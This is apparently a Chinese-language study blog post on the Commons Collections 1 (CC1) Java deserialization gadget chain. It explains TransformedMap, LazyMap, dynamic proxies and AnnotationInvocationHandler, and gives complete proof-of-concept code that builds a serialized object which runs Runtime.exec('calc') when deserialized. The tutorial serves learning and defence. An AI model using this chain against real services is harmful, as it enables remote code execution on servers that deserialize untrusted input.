Java安全学习笔记5-CC1链

CC1链,即CommonCollections利用链。

我们首先来了解一下这个链中命令执行的核心逻辑,然后再了解怎么反序列化触发。

命令执行的核心逻辑

注意,在使用下面的demo的时候,需要在pom.xml中指定Commoncollections的版本。CC链在 3.2.2 版本被修复了,所以我们必须用 3.1 或 3.2.1 版本做实验

1
2
3
4
5
6
7
8
<dependencies>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>

在这里我们需要搞懂Transformers(变换器)是怎么一棒接一棒的传递数据,然后执行命令的。这里我们用到p神的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1Demo {
public static void main(String[] args) throws Exception {
// 1. 构造 Transformer 数组(攻击流水线)
Transformer[] transformers = new Transformer[]{
// 第1步:不管输入什么,都返回 Runtime.getRuntime() 这个对象
// (注意:这里直接用了 Runtime 对象,这是为了演示方便,实际上 Runtime 不能序列化,后面会改)
new ConstantTransformer(Runtime.getRuntime()),

// 第2步:接收上面的 Runtime 对象,调用它的 exec 方法
// 参数是 "calc" (Windows) 或 PDF 里的计算器路径 (Mac)
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

// 2. 把数组封装成一条链
Transformer transformerChain = new ChainedTransformer(transformers);

// 3. 准备一个普通的 Map
Map innerMap = new HashMap();
innerMap.put("value", "value");

// 4. 【关键】使用 TransformedMap 包装这个 Map
// 它的作用是:每当 Map 里有新元素添加/修改时,自动调用 transformerChain 进行处理
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 5. 触发漏洞!
// 向 Map 中 put 一个新值,触发了 TransformedMap 的回调机制
// 回调机制执行了 transformerChain -> 执行了 exec -> 弹出计算器
outerMap.put("test", "xxxx");
}
}

这是我让Gemini给p神的demo注释了一下,然后我们来看这里面的具体组件。

  1. TransformedMap:这个类对Java里的正常Map结构做一个修饰。当修饰后的Map在添加新元素的时候,会执行一个回调,这里的回调不是一个回调函数,而是一个实现了Transformer接口的类。这里的key和value分别是处理新元素的key和value时执行的回调。
1
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer);
  1. Transformer:这个接口里定义了一个transform方法,就是上面TransformedMap里执行的回调,就是执行这个接口的transform方法
  2. ConstantTransformer:他的作用就是包装一个对象,然后在执行回调的时候返回这个对象
  3. InvokerTransformer:这个就是执行命令的扳机,用来执行输入进去的一个类的指定的方法。
  4. ChainedTransformer:用来装一个Transformer数组,把上一个Transformer的输出放到下一个的输入,就像Linux的管道符一样,把前一个的输出给后一个当输入

那到了这里,我们也有了一个大概的想法,就是

先创建一个Transformer数组,里面一个ConstTransformer,里面放可以用来执行命令的类的对象,然后一个InvokeTransformer里填写这个对象执行命令的具体方法,以及命令的参数。

Transformer[]=[ConstantTransformer(), InvokerTransformer()]

然后用ChainedTransformer连接起来

ChainedTransformer(Transformer[])

TransformedMap装饰一个Map结构,然后里面的回调填ChainedTransformer,后面往Map中加数据,就会自动执行了,这也是Demo中的流程。

编写poc

上半部分我们学到了cc1链的原理逻辑并且在本地上执行了,那我们现在就要想办法让远程服务器也能执行。我们需要这么一个类,他:

  • 实现了Serializable,可以被序列化
  • 重写了readObject方法,服务器收到数据可以自动执行
  • 他的readObject方法里调用了Map的setValue或者put方法

这个类就是sun.reflect.annotation.AnnotationInvocationHandler ,这个类原本是用来处理Java注解(@Override)这种的。

他的readObject方法如下

1
2
3
4
5
6
7
8
9
10
11
private void readObject(ObjectInputStream s) {
s.defaultReadObject();
// memberValues 就是我们传进去的那个被 Transformer 修饰过的 Map
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
// ... 一系列复杂的判断 ...
// 【触发点】这里调用了 setValue!
// 一旦 setValue 执行,TransformedMap 就会拦截,启动 Transformer 链,弹出计算器
memberValue.setValue(...);
}
}

写poc之前还需要解决3个问题

1.解决Runtime不可序列化的问题

在上个篇章中的demo里我们直接用ConstantTransformer产出的Runtime类,但是Runtime类没有Serializable接口,没办法序列化。我们虽然没办法传Runtime对象,但是我们可以传Runtime对象的反射代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Transformer[] transformers = new Transformer[]{
// 1. 传入 Runtime.class (Class对象是可以序列化的)
new ConstantTransformer(Runtime.class),

// 2. 反射调用 getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),

// 3. 反射调用 invoke(null) -> 得到 Runtime 实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),

// 4. 反射调用 exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

2.满足AnnotationInvocationHandler的触发条件

AnnotationInvocationHandler调用setValue时需要满足2个if判断

判断条件就是:它会检查Map里的key,是否在指定的注解类中存在对应的属性名。为此,我们的构造函数第一个参数传Retention.class(一个Java标准注解),在Retention注释里有一个属性叫value,构造函数的第二个参数传Map,Map的key必须是value。此时就对上了(Key 名字==注解属性名)。

1
2
// Map 的 Key 必须叫 "value"
innerMap.put("value", "xxxx");

3.利用反射实例化内鬼

AnnotationInvocationHandler是一个sun包下的私有类,没办法new出来,要用反射强行获取构造函数,然后实例化

1
2
3
4
5
6
7
8
// 1. 获取类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 2. 获取构造函数 (参数:注解类, Map)
Constructor c = clazz.getDeclaredConstructor(Class.class, Map.class);
// 3. 暴力破解权限
c.setAccessible(true);
// 4. 实例化 (传入 Retention.class 和我们精心制作的 map)
Object payload = c.newInstance(java.lang.annotation.Retention.class, outerMap);

最后的这个payload就是我们构造的对象,把他序列化发给服务器,服务器就会执行

流程如下:

  • 准备子弹:制作一个能执行 Runtime.exec 的 Transformer 链(利用反射绕过序列化限制)。
  • 准备陷阱:用 TransformedMap 包装一个普通的 Map,并把子弹装进去。
  • 设置诱饵:Map 的 Key 必须设为 “value”,以满足触发条件。
  • 伪装发货:用反射实例化 AnnotationInvocationHandler,把那个 Map 塞给它。
  • 发送:序列化这个 Handler 对象发送给受害者。
  • 爆炸:受害者执行 readObject -> 遍历 Map -> 匹配到 “value” -> 执行 setValue -> 触发 Transformer 链 -> RCE

但是复现这个流程,必须使用JDK7或者JDK 8u71之前的版本,因为JDK 8u71之后,AnnotationInvocationHandler的代码改了,删了setValue的逻辑。整体poc如下,抄的p神的,然后用Gemini生成了注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {

// =============================================================
// 第一步:构造恶意调用链 (The Payload)
// 目标:执行 Runtime.getRuntime().exec("calc")
// 难点:Runtime 对象不可序列化,所以必须用反射的方式去获取并调用
// =============================================================
Transformer[] transformers = new Transformer[]{
// 1. 无论输入什么,都返回 Runtime.class (这是个 Class 对象,可序列化)
new ConstantTransformer(Runtime.class),

// 2. 反射调用 getMethod("getRuntime"),得到 Method 对象
// 相当于:Runtime.class.getMethod("getRuntime")
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),

// 3. 反射调用 invoke(null),得到 Runtime 实例
// 相当于:method.invoke(null) -> 也就是 Runtime.getRuntime()
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),

// 4. 反射调用 exec("calc")
// 相当于:runtime.exec("calc")
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

// 将上面的步骤串联起来,形成一个完整的执行链
Transformer transformerChain = new ChainedTransformer(transformers);

// =============================================================
// 第二步:准备触发环境 (The Trap)
// 目标:创建一个 Map,当它的 Entry 被修改(setValue)时,自动触发上面的链条
// =============================================================
Map innerMap = new HashMap();
// 【关键细节】Key 必须是 "value"
// 为什么?因为后面我们要利用 Retention 注解,它唯一的属性方法就叫 value()
// AnnotationInvocationHandler 会检查 Map 的 Key 是否和注解的属性名一致
innerMap.put("value", "xxxx");

// 使用 TransformedMap 包装,配置 transformChain
// 这里的逻辑是:每当 Map 里的值被修改,就会执行 transformerChain.transform(修改的值)
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// =============================================================
// 第三步:封装进反序列化入口类 (The Entry Point)
// 目标:找到一个 JDK 自带的类,它的 readObject 方法里会自动修改 Map 的值
// 这个类就是:sun.reflect.annotation.AnnotationInvocationHandler
// =============================================================

// 1. 获取这个私有类
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

// 2. 获取构造函数 (它接收两个参数:注解类, Map)
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);

// 3. 暴力访问私有构造函数
construct.setAccessible(true);

// 4. 实例化对象
// 传入 Retention.class 作为注解类型
// 传入我们精心构造的 outerMap
Object payload = construct.newInstance(Retention.class, outerMap);

// =============================================================
// 第四步:模拟序列化与反序列化 (The Attack)
// 在真实攻击中,这一步是把数据发送给服务器
// =============================================================

// 1. 序列化 (生成恶意二进制流)
// 1. 创建一个字节数组输出流(容器)
ByteArrayOutputStream barr = new ByteArrayOutputStream();
// 2. 创建一个对象输出流(工人),并告诉它把数据写到上面的容器里
ObjectOutputStream oos = new ObjectOutputStream(barr);
// 3. 工人开始干活:把对象冻结(序列化)并写入容器
oos.writeObject(payload);
// 4. 关闭流(好习惯)
oos.close();

// 打印看看生成了多少字节
System.out.println("Payload 生成成功,长度: " + barr.size() + " 字节");

// 2. 反序列化 (模拟服务端接收并解析)
// 这一行代码执行时,计算器就会弹出!
System.out.println("开始反序列化...");
ByteArrayInputStream bais = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object)ois.readObject();
}
}

ysoserial版

在ysoserial中,cc1链使用的不是这里展示的transformermap,而是lazymap,这2者的触发方式是不一样的,traansformermap是在sevalue,put的时候会触发,而lazymap是在get的时候触发,我们来看p神的pdf中是怎么说的

但是吧,在之前那个annotationinvocationhandler的readobject方法中并没直接调用map的get方法,不过在annotationinvocationhandler类的invoke方法中有调用到get

为了能调用这个invoke方法,我们需要用到对象代理

1
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

第一个参数是ClassLoader,默认即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了invocationhandler接口的对象,里面有具体代理逻辑。

对象代理其实就是劫持内部方法调用:通过代理机制,把对象的所有方法请求都拦截到一个统一的入口(invoke),这样就可以在不改变原有代码逻辑的情况下,偷偷修改,增加或替换掉对象。

而我们的annotationinvocationhandler这个类实际上就是一个invocationhandler,只要将这个对象用proxy代理,然后在readobject的时候,随意调用任意方法,就会进入annotationinvocationhandler的invoke方法,进入了之后触发lazymap的get,然后触发tranform,然后就触发transformerchain。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {

// 1. 构造 Transformer 数组:这是我们的“核心弹药”
// 目标:通过反射最终执行 Runtime.getRuntime().exec("calc.exe")
// 为什么不直接传 Runtime 对象?因为 Runtime 类没实现 Serializable 接口,没法直接序列化。
Transformer[] transformers = new Transformer[]{
// 传入 Runtime.class (Class对象可以序列化),作为链条起点
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod("getRuntime", null),返回 getRuntime 方法对象
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// 反射调用 invoke(null, null),即执行 Runtime.getRuntime(),返回 Runtime 实例
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 反射调用 exec("calc.exe"),最终触发命令执行
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};

// 将多个 Transformer 串联成一个链条
Transformer transformerChain = new ChainedTransformer(transformers);

// 2. 构造 LazyMap (炸弹本体)
// LazyMap 的特性:当你调用 get() 方法获取一个不存在的 Key 时,它会自动触发内部的 transform 逻辑
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

// 3. 构造第一个 AnnotationInvocationHandler (内部中介/雷管)
// 这个类实现了 InvocationHandler 接口,它的 invoke() 方法中会调用 memberValues.get()
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

// 这里的 outerMap (LazyMap) 被放进了 handler 的 memberValues 属性中
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

// 4. 构造代理对象 proxyMap (劫持/绊线)
// 任何对 proxyMap 的方法调用(如 entrySet, size等)都会被转发给 handler 的 invoke() 方法
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);

// 5. 构造第二个 AnnotationInvocationHandler (最外层外壳/快递盒)
// 这一步是真正的入口:我们将 proxyMap 传进去。
// 当反序列化这个对象时,它的 readObject() 会被触发。
// readObject() 内部会执行 memberValues.entrySet(),此时 memberValues 是 proxyMap。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

// --- 至此,利用链构造完成,下面开始测试序列化与反序列化 ---

// 序列化:将 handler 对象变成字节流
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

// 反序列化:模拟服务器收到字节流并解析
// 触发顺序:
// 1. handler.readObject() -> 执行 proxyMap.entrySet()
// 2. proxyMap 拦截到调用 -> 转发给第一个 handler.invoke()
// 3. handler.invoke() -> 执行 outerMap.get()
// 4. outerMap (LazyMap) 发现 Key 不存在 -> 触发 transformerChain
// 5. 命令执行:calc.exe
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}

该poc出自p神原文,我只是搬运过来,然后ai加上注释


Java安全学习笔记5-CC1链
https://rightevil.github.io/Java安全学习笔记5-CC1链/
作者
rightevil
发布于
2026年1月29日
许可协议